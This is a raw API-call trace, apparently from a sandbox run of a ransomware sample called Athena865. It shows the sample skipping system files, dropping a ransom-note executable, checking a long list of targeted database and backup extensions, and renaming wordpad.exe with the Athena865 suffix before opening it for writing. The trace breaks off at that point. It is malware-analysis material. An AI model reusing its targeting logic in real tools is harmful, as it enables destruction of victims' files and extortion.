[0091.287] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0091.287] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0091.287] lstrlenW (lpString="en-US") returned 5 [0091.287] lstrcpyW (in: lpString1=0x241e898, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0091.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c428 [0091.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51ba80 [0091.287] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0091.287] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0091.287] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0091.289] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0295ea0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0295ea0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0091.290] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0091.290] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2=".") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="..") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="windows") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="bootmgr") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="temp") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="pagefile.sys") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="boot") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="ids.txt") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="ntuser.dat") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="perflogs") returned 1 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2="MSBuild") returned 1 [0091.290] lstrlenW (lpString="wordpad.exe") returned 11 [0091.290] lstrcpyW (in: lpString1=0x241e898, lpString2="wordpad.exe" | out: lpString1="wordpad.exe") returned="wordpad.exe" [0091.290] lstrlenW (lpString="wordpad.exe") returned 11 [0091.290] lstrlenW (lpString="Athena865") returned 9 [0091.290] lstrcmpiW (lpString1="rdpad.exe", lpString2="Athena865") returned 1 [0091.290] lstrlenW (lpString=".dll") returned 4 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2=".dll") returned 1 [0091.290] lstrlenW (lpString=".lnk") returned 4 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2=".lnk") returned 1 [0091.290] lstrlenW (lpString=".ini") returned 4 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2=".ini") returned 1 [0091.290] lstrlenW (lpString=".sys") returned 4 [0091.290] lstrcmpiW (lpString1="wordpad.exe", lpString2=".sys") returned 1 [0091.290] lstrlenW (lpString="wordpad.exe") returned 11 [0091.290] lstrlenW (lpString="bak") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0091.291] lstrlenW (lpString="ba_") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0091.291] lstrlenW (lpString="dbb") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0091.291] lstrlenW (lpString="vmdk") returned 4 [0091.291] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0091.291] lstrlenW (lpString="rar") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0091.291] lstrlenW (lpString="zip") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0091.291] lstrlenW (lpString="tgz") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0091.291] lstrlenW (lpString="vbox") returned 4 [0091.291] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0091.291] lstrlenW (lpString="vdi") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0091.291] lstrlenW (lpString="vhd") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0091.291] lstrlenW (lpString="vhdx") returned 4 [0091.291] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0091.291] lstrlenW (lpString="avhd") returned 4 [0091.291] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0091.291] lstrlenW (lpString="db") returned 2 [0091.291] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0091.291] lstrlenW (lpString="db2") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0091.291] lstrlenW (lpString="db3") returned 3 [0091.291] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0091.291] lstrlenW (lpString="dbf") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0091.292] lstrlenW (lpString="mdf") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0091.292] lstrlenW (lpString="mdb") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0091.292] lstrlenW (lpString="sql") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0091.292] lstrlenW (lpString="sqlite") returned 6 [0091.292] lstrcmpiW (lpString1="ad.exe", lpString2="sqlite") returned -1 [0091.292] lstrlenW (lpString="sqlite3") returned 7 [0091.292] lstrcmpiW (lpString1="pad.exe", lpString2="sqlite3") returned -1 [0091.292] lstrlenW (lpString="sqlitedb") returned 8 [0091.292] lstrcmpiW (lpString1="dpad.exe", lpString2="sqlitedb") returned -1 [0091.292] lstrlenW (lpString="xml") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0091.292] lstrlenW (lpString="$er") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0091.292] lstrlenW (lpString="4dd") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0091.292] lstrlenW (lpString="4dl") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0091.292] lstrlenW (lpString="^^^") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0091.292] lstrlenW (lpString="abs") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0091.292] lstrlenW (lpString="abx") returned 3 [0091.292] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0091.292] lstrlenW (lpString="accdb") returned 5 [0091.292] lstrcmpiW (lpString1="d.exe", lpString2="accdb") returned 1 [0091.292] lstrlenW (lpString="accdc") returned 5 [0091.292] lstrcmpiW (lpString1="d.exe", lpString2="accdc") returned 1 [0091.292] lstrlenW (lpString="accde") returned 5 [0091.293] lstrcmpiW (lpString1="d.exe", lpString2="accde") returned 1 [0091.293] lstrlenW (lpString="accdr") returned 5 [0091.293] lstrcmpiW (lpString1="d.exe", lpString2="accdr") returned 1 [0091.293] lstrlenW (lpString="accdt") returned 5 [0091.293] lstrcmpiW (lpString1="d.exe", lpString2="accdt") returned 1 [0091.293] lstrlenW (lpString="accdw") returned 5 [0091.293] lstrcmpiW (lpString1="d.exe", lpString2="accdw") returned 1 [0091.293] lstrlenW (lpString="accft") returned 5 [0091.293] lstrcmpiW (lpString1="d.exe", lpString2="accft") returned 1 [0091.293] lstrlenW (lpString="adb") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0091.293] lstrlenW (lpString="adb") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0091.293] lstrlenW (lpString="ade") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0091.293] lstrlenW (lpString="adf") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0091.293] lstrlenW (lpString="adn") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0091.293] lstrlenW (lpString="adp") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0091.293] lstrlenW (lpString="alf") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0091.293] lstrlenW (lpString="ask") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0091.293] lstrlenW (lpString="btr") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0091.293] lstrlenW (lpString="cat") returned 3 [0091.293] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0091.293] lstrlenW (lpString="cdb") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0091.294] lstrlenW (lpString="ckp") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0091.294] lstrlenW (lpString="cma") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0091.294] lstrlenW (lpString="cpd") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0091.294] lstrlenW (lpString="dacpac") returned 6 [0091.294] lstrcmpiW (lpString1="ad.exe", lpString2="dacpac") returned -1 [0091.294] lstrlenW (lpString="dad") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0091.294] lstrlenW (lpString="dadiagrams") returned 10 [0091.294] lstrcmpiW (lpString1="ordpad.exe", lpString2="dadiagrams") returned 1 [0091.294] lstrlenW (lpString="daschema") returned 8 [0091.294] lstrcmpiW (lpString1="dpad.exe", lpString2="daschema") returned 1 [0091.294] lstrlenW (lpString="db-journal") returned 10 [0091.294] lstrcmpiW (lpString1="ordpad.exe", lpString2="db-journal") returned 1 [0091.294] lstrlenW (lpString="db-shm") returned 6 [0091.294] lstrcmpiW (lpString1="ad.exe", lpString2="db-shm") returned -1 [0091.294] lstrlenW (lpString="db-wal") returned 6 [0091.294] lstrcmpiW (lpString1="ad.exe", lpString2="db-wal") returned -1 [0091.294] lstrlenW (lpString="dbc") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0091.294] lstrlenW (lpString="dbs") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0091.294] lstrlenW (lpString="dbt") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0091.294] lstrlenW (lpString="dbv") returned 3 [0091.294] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0091.294] lstrlenW (lpString="dbx") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0091.295] lstrlenW (lpString="dcb") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0091.295] lstrlenW (lpString="dct") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0091.295] lstrlenW (lpString="dcx") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0091.295] lstrlenW (lpString="ddl") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0091.295] lstrlenW (lpString="dlis") returned 4 [0091.295] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0091.295] lstrlenW (lpString="dp1") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0091.295] lstrlenW (lpString="dqy") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0091.295] lstrlenW (lpString="dsk") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0091.295] lstrlenW (lpString="dsn") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0091.295] lstrlenW (lpString="dtsx") returned 4 [0091.295] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0091.295] lstrlenW (lpString="dxl") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0091.295] lstrlenW (lpString="eco") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0091.295] lstrlenW (lpString="ecx") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0091.295] lstrlenW (lpString="edb") returned 3 [0091.295] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0091.295] lstrlenW (lpString="epim") returned 4 [0091.295] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0091.296] lstrlenW (lpString="fcd") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0091.296] lstrlenW (lpString="fdb") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0091.296] lstrlenW (lpString="fic") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0091.296] lstrlenW (lpString="flexolibrary") returned 12 [0091.296] lstrlenW (lpString="fm5") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0091.296] lstrlenW (lpString="fmp") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0091.296] lstrlenW (lpString="fmp12") returned 5 [0091.296] lstrcmpiW (lpString1="d.exe", lpString2="fmp12") returned -1 [0091.296] lstrlenW (lpString="fmpsl") returned 5 [0091.296] lstrcmpiW (lpString1="d.exe", lpString2="fmpsl") returned -1 [0091.296] lstrlenW (lpString="fol") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0091.296] lstrlenW (lpString="fp3") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0091.296] lstrlenW (lpString="fp4") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0091.296] lstrlenW (lpString="fp5") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0091.296] lstrlenW (lpString="fp7") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0091.296] lstrlenW (lpString="fpt") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0091.296] lstrlenW (lpString="frm") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0091.296] lstrlenW (lpString="gdb") returned 3 [0091.296] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0091.297] lstrlenW (lpString="gdb") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0091.297] lstrlenW (lpString="grdb") returned 4 [0091.297] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0091.297] lstrlenW (lpString="gwi") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0091.297] lstrlenW (lpString="hdb") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0091.297] lstrlenW (lpString="his") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0091.297] lstrlenW (lpString="ib") returned 2 [0091.297] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0091.297] lstrlenW (lpString="idb") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0091.297] lstrlenW (lpString="ihx") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0091.297] lstrlenW (lpString="itdb") returned 4 [0091.297] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0091.297] lstrlenW (lpString="itw") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0091.297] lstrlenW (lpString="jet") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0091.297] lstrlenW (lpString="jtx") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0091.297] lstrlenW (lpString="kdb") returned 3 [0091.297] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0091.297] lstrlenW (lpString="kexi") returned 4 [0091.297] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0091.297] lstrlenW (lpString="kexic") returned 5 [0091.297] lstrcmpiW (lpString1="d.exe", lpString2="kexic") returned -1 [0091.297] lstrlenW (lpString="kexis") returned 5 [0091.298] lstrcmpiW (lpString1="d.exe", lpString2="kexis") returned -1 [0091.298] lstrlenW (lpString="lgc") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0091.298] lstrlenW (lpString="lwx") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0091.298] lstrlenW (lpString="maf") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0091.298] lstrlenW (lpString="maq") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0091.298] lstrlenW (lpString="mar") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0091.298] lstrlenW (lpString="marshal") returned 7 [0091.298] lstrcmpiW (lpString1="pad.exe", lpString2="marshal") returned 1 [0091.298] lstrlenW (lpString="mas") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0091.298] lstrlenW (lpString="mav") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0091.298] lstrlenW (lpString="maw") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0091.298] lstrlenW (lpString="mdbhtml") returned 7 [0091.298] lstrcmpiW (lpString1="pad.exe", lpString2="mdbhtml") returned 1 [0091.298] lstrlenW (lpString="mdn") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0091.298] lstrlenW (lpString="mdt") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0091.298] lstrlenW (lpString="mfd") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0091.298] lstrlenW (lpString="mpd") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0091.298] lstrlenW (lpString="mrg") returned 3 [0091.298] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0091.299] lstrlenW (lpString="mud") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0091.299] lstrlenW (lpString="mwb") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0091.299] lstrlenW (lpString="myd") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0091.299] lstrlenW (lpString="ndf") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0091.299] lstrlenW (lpString="nnt") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0091.299] lstrlenW (lpString="nrmlib") returned 6 [0091.299] lstrcmpiW (lpString1="ad.exe", lpString2="nrmlib") returned -1 [0091.299] lstrlenW (lpString="ns2") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0091.299] lstrlenW (lpString="ns3") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0091.299] lstrlenW (lpString="ns4") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0091.299] lstrlenW (lpString="nsf") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0091.299] lstrlenW (lpString="nv") returned 2 [0091.299] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0091.299] lstrlenW (lpString="nv2") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0091.299] lstrlenW (lpString="nwdb") returned 4 [0091.299] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0091.299] lstrlenW (lpString="nyf") returned 3 [0091.299] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0091.299] lstrlenW (lpString="odb") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0091.300] lstrlenW (lpString="odb") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0091.300] lstrlenW (lpString="oqy") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0091.300] lstrlenW (lpString="ora") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0091.300] lstrlenW (lpString="orx") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0091.300] lstrlenW (lpString="owc") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0091.300] lstrlenW (lpString="p96") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0091.300] lstrlenW (lpString="p97") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0091.300] lstrlenW (lpString="pan") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0091.300] lstrlenW (lpString="pdb") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0091.300] lstrlenW (lpString="pdm") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0091.300] lstrlenW (lpString="pnz") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0091.300] lstrlenW (lpString="qry") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0091.300] lstrlenW (lpString="qvd") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0091.300] lstrlenW (lpString="rbf") returned 3 [0091.300] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0091.300] lstrlenW (lpString="rctd") returned 4 [0091.300] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0091.301] lstrlenW (lpString="rod") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0091.301] lstrlenW (lpString="rodx") returned 4 [0091.301] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0091.301] lstrlenW (lpString="rpd") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0091.301] lstrlenW (lpString="rsd") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0091.301] lstrlenW (lpString="sas7bdat") returned 8 [0091.301] lstrcmpiW (lpString1="dpad.exe", lpString2="sas7bdat") returned -1 [0091.301] lstrlenW (lpString="sbf") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0091.301] lstrlenW (lpString="scx") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0091.301] lstrlenW (lpString="sdb") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0091.301] lstrlenW (lpString="sdc") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0091.301] lstrlenW (lpString="sdf") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0091.301] lstrlenW (lpString="sis") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0091.301] lstrlenW (lpString="spq") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0091.301] lstrlenW (lpString="te") returned 2 [0091.301] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0091.301] lstrlenW (lpString="teacher") returned 7 [0091.301] lstrcmpiW (lpString1="pad.exe", lpString2="teacher") returned -1 [0091.301] lstrlenW (lpString="tmd") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0091.301] lstrlenW (lpString="tps") returned 3 [0091.301] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0091.302] lstrlenW (lpString="trc") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0091.302] lstrlenW (lpString="trc") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0091.302] lstrlenW (lpString="trm") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0091.302] lstrlenW (lpString="udb") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0091.302] lstrlenW (lpString="udl") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0091.302] lstrlenW (lpString="usr") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0091.302] lstrlenW (lpString="v12") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0091.302] lstrlenW (lpString="vis") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0091.302] lstrlenW (lpString="vpd") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0091.302] lstrlenW (lpString="vvv") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0091.302] lstrlenW (lpString="wdb") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0091.302] lstrlenW (lpString="wmdb") returned 4 [0091.302] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0091.302] lstrlenW (lpString="wrk") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0091.302] lstrlenW (lpString="xdb") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0091.302] lstrlenW (lpString="xld") returned 3 [0091.302] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0091.302] lstrlenW (lpString="xmlff") returned 5 [0091.303] lstrcmpiW (lpString1="d.exe", lpString2="xmlff") returned -1 [0091.303] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe.Athena865") returned 61 [0091.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe.Athena865" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe.athena865"), dwFlags=0x1) returned 1 [0091.303] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\wordpad.exe.Athena865" (normalized: "c:\\program files\\windows nt\\accessories\\wordpad.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0091.303] GetFileSizeEx 